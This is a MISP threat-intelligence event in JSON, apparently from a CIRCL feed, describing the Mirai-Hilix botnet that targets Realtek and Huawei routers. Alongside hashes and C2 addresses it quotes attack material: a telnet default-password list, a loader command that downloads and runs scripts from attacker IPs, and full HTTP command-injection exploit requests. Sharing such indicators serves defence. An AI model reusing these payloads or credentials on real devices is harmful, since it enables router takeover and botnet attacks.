adulau/misp-circl-feed
1
0
Fork 0
Code Issues 1 Pull requests Projects 1 Releases Packages Wiki Activity Actions
misp-circl-feed/feeds/circl/misp/5ebd9f11-4628-4dc2-abaf-4d54950d210f.json

357 lines
No EOL
17 KiB
JSON
Raw Permalink Blame History

{
"Event": {
"analysis": "2",
"date": "2020-05-14",
"extends_uuid": "508411ea-0680-428f-b6e7-183070db547e",
"info": "Linux/Mirai-Hilix (w/New TABLE encoder) aims Realtek & Huawei routers",
"publish_timestamp": "1589487314",
"published": true,
"threat_level_id": "3",
"timestamp": "1589487271",
"uuid": "5ebd9f11-4628-4dc2-abaf-4d54950d210f",
"Orgc": {
"name": "MalwareMustDie",
"uuid": "569e04b2-efd0-45bd-b83a-4f7b950d210f"
},
"Tag": [
{
"colour": "#ffffff",
"local": false,
"name": "tlp:white",
"relationship_type": ""
},
{
"colour": "#3a7300",
"local": false,
"name": "circl:incident-classification=\"malware\"",
"relationship_type": ""
},
{
"colour": "#22681c",
"local": false,
"name": "malware_classification:malware-category=\"Botnet\"",
"relationship_type": ""
},
{
"colour": "#ff0000",
"local": false,
"name": "Mirai",
"relationship_type": ""
}
],
"Attribute": [
{
"category": "Internal reference",
"comment": "Technical announcement and analysis report",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485800",
"to_ids": false,
"type": "link",
"uuid": "5ebda0e8-d424-4544-accb-4540950d210f",
"value": "https://www.virustotal.com/gui/file/a7f3670b9720fd2092d0cd0f52b46fecd431d442a9bff6ec8839e854147b7c53/community"
},
{
"category": "Internal reference",
"comment": "Technical announcement and analysis report",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485800",
"to_ids": false,
"type": "link",
"uuid": "5ebda0e8-733c-4f46-a368-4b7e950d210f",
"value": "https://old.reddit.com/r/LinuxMalware/comments/gj1x02/linuxmirai_hilix/"
},
{
"category": "Internal reference",
"comment": "Technical announcement and analysis report",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485800",
"to_ids": false,
"type": "link",
"uuid": "5ebda0e8-c404-4fa2-a2ba-48a0950d210f",
"value": "https://imgur.com/a/lWbs6T1"
},
{
"category": "Internal reference",
"comment": "Technical announcement and analysis report",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485800",
"to_ids": false,
"type": "link",
"uuid": "5ebda0e8-b39c-4e34-8fde-48f7950d210f",
"value": "https://twitter.com/malwaremustd1e/status/1260582039503417344"
},
{
"category": "Payload installation",
"comment": "Linux/Mirai Hilix new encoder hashes",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485980",
"to_ids": false,
"type": "md5",
"uuid": "5ebda19c-1004-4b99-af52-4bcb950d210f",
"value": "7a5e717aa86fd986d9aef089c6e07bcd"
},
{
"category": "Payload installation",
"comment": "Linux/Mirai Hilix new encoder hashes",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485981",
"to_ids": false,
"type": "md5",
"uuid": "5ebda19d-5838-41fe-a455-481a950d210f",
"value": "8293c25c4c759654ea72342750a91170"
},
{
"category": "Payload installation",
"comment": "Linux/Mirai Hilix new encoder hashes",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485981",
"to_ids": false,
"type": "md5",
"uuid": "5ebda19d-ffb8-4c9f-a0a5-4f0c950d210f",
"value": "94008c192bd62432fbacede828e2c497"
},
{
"category": "Payload installation",
"comment": "Linux/Mirai Hilix new encoder hashes",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485981",
"to_ids": false,
"type": "md5",
"uuid": "5ebda19d-39e8-459b-8128-458e950d210f",
"value": "749d282b6ff9e1b9390201173af694c0"
},
{
"category": "Payload installation",
"comment": "Linux/Mirai Hilix new encoder hashes",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485981",
"to_ids": false,
"type": "md5",
"uuid": "5ebda19d-ea98-4dd8-bda1-4847950d210f",
"value": "34307f52ba4a81d94058c130df146c5a"
},
{
"category": "Payload installation",
"comment": "Linux/Mirai Hilix new encoder hashes",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485981",
"to_ids": false,
"type": "md5",
"uuid": "5ebda19d-60e0-4e0c-a372-45c1950d210f",
"value": "84d45afab65260068009911871f5babd"
},
{
"category": "Payload installation",
"comment": "Linux/Mirai Hilix new encoder hashes",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589485981",
"to_ids": false,
"type": "md5",
"uuid": "5ebda19d-71f4-4308-baa0-4fe2950d210f",
"value": "ec413215dc385d95e1c89d9bda44de4d"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix loader script filename",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486100",
"to_ids": false,
"type": "filename",
"uuid": "5ebda214-8710-467a-aa11-4de1950d210f",
"value": "Hilix.sh"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix loader script filename",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486100",
"to_ids": false,
"type": "filename",
"uuid": "5ebda214-08f8-4218-bc78-42a6950d210f",
"value": "Hilix1.sh"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix loader script filename",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486100",
"to_ids": false,
"type": "filename",
"uuid": "5ebda214-89a0-452e-8f30-4874950d210f",
"value": "Hilix2.sh"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix loader script filename",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486100",
"to_ids": false,
"type": "filename",
"uuid": "5ebda214-02e4-4f15-8e44-4feb950d210f",
"value": "Hilix3.sh"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix loader script filename",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486100",
"to_ids": false,
"type": "filename",
"uuid": "5ebda214-b6e4-4cf5-a789-46a7950d210f",
"value": "Hilix4.sh"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix's C2 servers, payload servers & Infection scanner servers (LRAB base), see reference.",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-13T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486323",
"to_ids": false,
"type": "ip-src",
"uuid": "5ebda2f3-d320-4e88-b43c-4c03950d210f",
"value": "142.93.217.221"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix's C2 servers, payload servers & Infection scanner servers (LRAB base), see reference.",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-13T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486323",
"to_ids": false,
"type": "ip-src",
"uuid": "5ebda2f3-d174-41d1-a36e-44cb950d210f",
"value": "159.203.44.33"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix's C2 servers, payload servers & Infection scanner servers (LRAB base), see reference.",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-13T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486323",
"to_ids": false,
"type": "ip-src",
"uuid": "5ebda2f3-d6a4-495a-a6c3-40b1950d210f",
"value": "194.180.224.124"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix's C2 servers, payload servers & Infection scanner servers (LRAB base), see reference.",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-13T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486324",
"to_ids": false,
"type": "ip-src",
"uuid": "5ebda2f4-5bdc-49d3-bd46-4829950d210f",
"value": "194.180.224.150"
},
{
"category": "Targeting data",
"comment": "Linux/Mirai Hilix targeted products (telnet default password)",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486529",
"to_ids": false,
"type": "comment",
"uuid": "5ebda3c1-a0e4-41db-a6a5-43ee950d210f",
"value": "\"root\",\"xc3511\"\r\n\"root\",\"xc3518\"\r\n\"root\",\"xc3515\"\r\n\"vstarcam2015\",\"20150602\"\r\n\"admin\",\"admin\"\r\n\"root\",\"zte9x15\"\r\n\"root\",\"vizxv\"\r\n\"root\",\"admin\"\r\n\"root\",\"vertex25ektks123\"\r\n\"admin\",\"vertex25ektks123\"\r\n\"root\",\"Zte521\"\r\n\"default\"\r\n\"default\",\"OxhlwSG8\"\r\n\"default\",\"S2fGqNFs\"\r\n\"default\",\"lJwpbo6\"\r\n\"default\",\"antslq\"\r\n\"guest\",\"xc3511\"\r\n\"admin\",\"aquario\"\r\n\"support\",\"support\"\r\n\"admin\",\"password\"\r\n\"user\",\"user\"\r\n\"admin\",\"admin1234\"\r\n\"admin\",\"1111\"\r\n\"guest\",\"guest\"\r\n\"guest\",\"12345\"\r\n\"admin\",\"1234\"\r\n\"admin\",\"ipcam_rt5350\"\r\n\"root\",\"ipcam_rt5350\"\r\n\"admin\",\"ho4uku6at\"\r\n\"admin\",\"kont2004\"\r\n\"admin\",\"Win1doW$ \"\r\n\"root\",\"hunt5759\"\r\n\"admin\",\"COadmin123\"\r\n\"admin\",\"ZmqVfoSIP\"\r\n\"root\",\"3ep5w2u\""
},
{
"category": "Payload installation",
"comment": "Linux/Mirai Hilix loader script injection (bruteforce default password)",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486673",
"to_ids": false,
"type": "comment",
"uuid": "5ebda451-d9f4-47c6-b3d5-4ce5950d210f",
"value": "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.224.124/Hilix.sh; curl -O http://194.180.224.124/Hilix.sh; chmod 777 Hilix.sh; sh Hilix.sh; tftp 194.180.224.124 -c get Hilix3.sh; chmod 777 Hilix3.sh; sh Hilix3.sh; tftp -r Hilix2.sh -g 194.180.224.124; chmod 777 Hilix2.sh; sh Hilix2.sh; ftpget -v -u anonymous -p anonymous -P 21 194.180.224.124 Hilix1.sh Hilix1.sh; sh Hilix1.sh; rm -rf Hilix.sh Hilix3.sh Hilix2.sh Hilix1.sh; rm -rf *; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://194.180.224.124/bins/Hilix.x86 -O /tmp/Hilix; chmod +x /tmp/Hilix; /tmp/Hilix sbot.x86"
},
{
"category": "Payload delivery",
"comment": "Linux/Mirai Hilix loader's infection script injection (Realtek, Huawei routers vulnerabilities)",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589486864",
"to_ids": false,
"type": "comment",
"uuid": "5ebda510-e6b4-49ac-b728-422c950d210f",
"value": "POST /ctrlt/DeviceUpgrade_1 HTTP/1.1\\r\\nContent-Length: 430\\r\\nConnection: keep-alive\\r\\nAccept: */\u00ef\u00bc\u0160\\r\\nAuthorization: Digest username=\"dslf-config\", realm=\"HuaweiHomeGateway\", nonce=\"88645cefb1f9ede0e336e3569d75ee30\", uri=\"/ctrlt/DeviceUpgrade_1\", response=\"3612f843a42db38f48f59d2a3597e19c\", algorithm=\"MD5\", qop=\"auth\", nc=00000001, cnonce=\"248d1a2560100669\"\\r\\n\\r\\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\"><NewStatusURL>$(/bin/busybox wget -g 159.203.44.33 -l /tmp/binary -r /bins/Hilix.mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>\\r\\n\\r\\n\r\n\r\nPOST /picdesc.xml HTTP/1.1\\r\\nHost: 127.0.0.1:52869\\r\\nContent-Length: 630\\r\\nAccept-Encoding: gzip, deflate\\r\\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\\r\\nAccept: */*\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\\r\\nConnection: keep-alive\\r\\n\\r\\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://159.203.44.33/bins/Hilix.mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\\r\\n\\r\\n\r\n\r\n\r\nPOST /wanipcn.xml HTTP/1.1\\r\\nHost: 127.0.0.1:52869\\r\\nContent-Length: 630\\r\\nAccept-Encoding: gzip, deflate\\r\\nSOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\\r\\nAccept: */*\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\\r\\nConnection: keep-alive\\r\\n\\r\\n<?xml version=\"1.0\" ?><s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://159.203.44.33/bins/Hilix.mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\\r\\n\\r\\n"
},
{
"category": "Network activity",
"comment": "Linux/Mirai Hilix DDoS attack methods",
"deleted": false,
"disable_correlation": false,
"first_seen": "2020-05-12T00:00:00+00:00",
"last_seen": "2020-05-15T00:00:00+00:00",
"timestamp": "1589487163",
"to_ids": false,
"type": "comment",
"uuid": "5ebda63b-a5b4-4b74-9ca1-4130950d210f",
"value": "attack_method_greip\r\nattack_method_greeth\r\nattack_method_std\r\nattack_method_tcpsyn\r\nattack_method_tcpack\r\nattack_method_tcpstomp\r\nattack_method_tcpxmas\r\nattack_method_udpgeneric\r\nattack_method_udpvse\r\nattack_method_udpdns\r\nattack_method_udpplain"
}
]
}
}
Reference in a new issue View git blame Copy permalink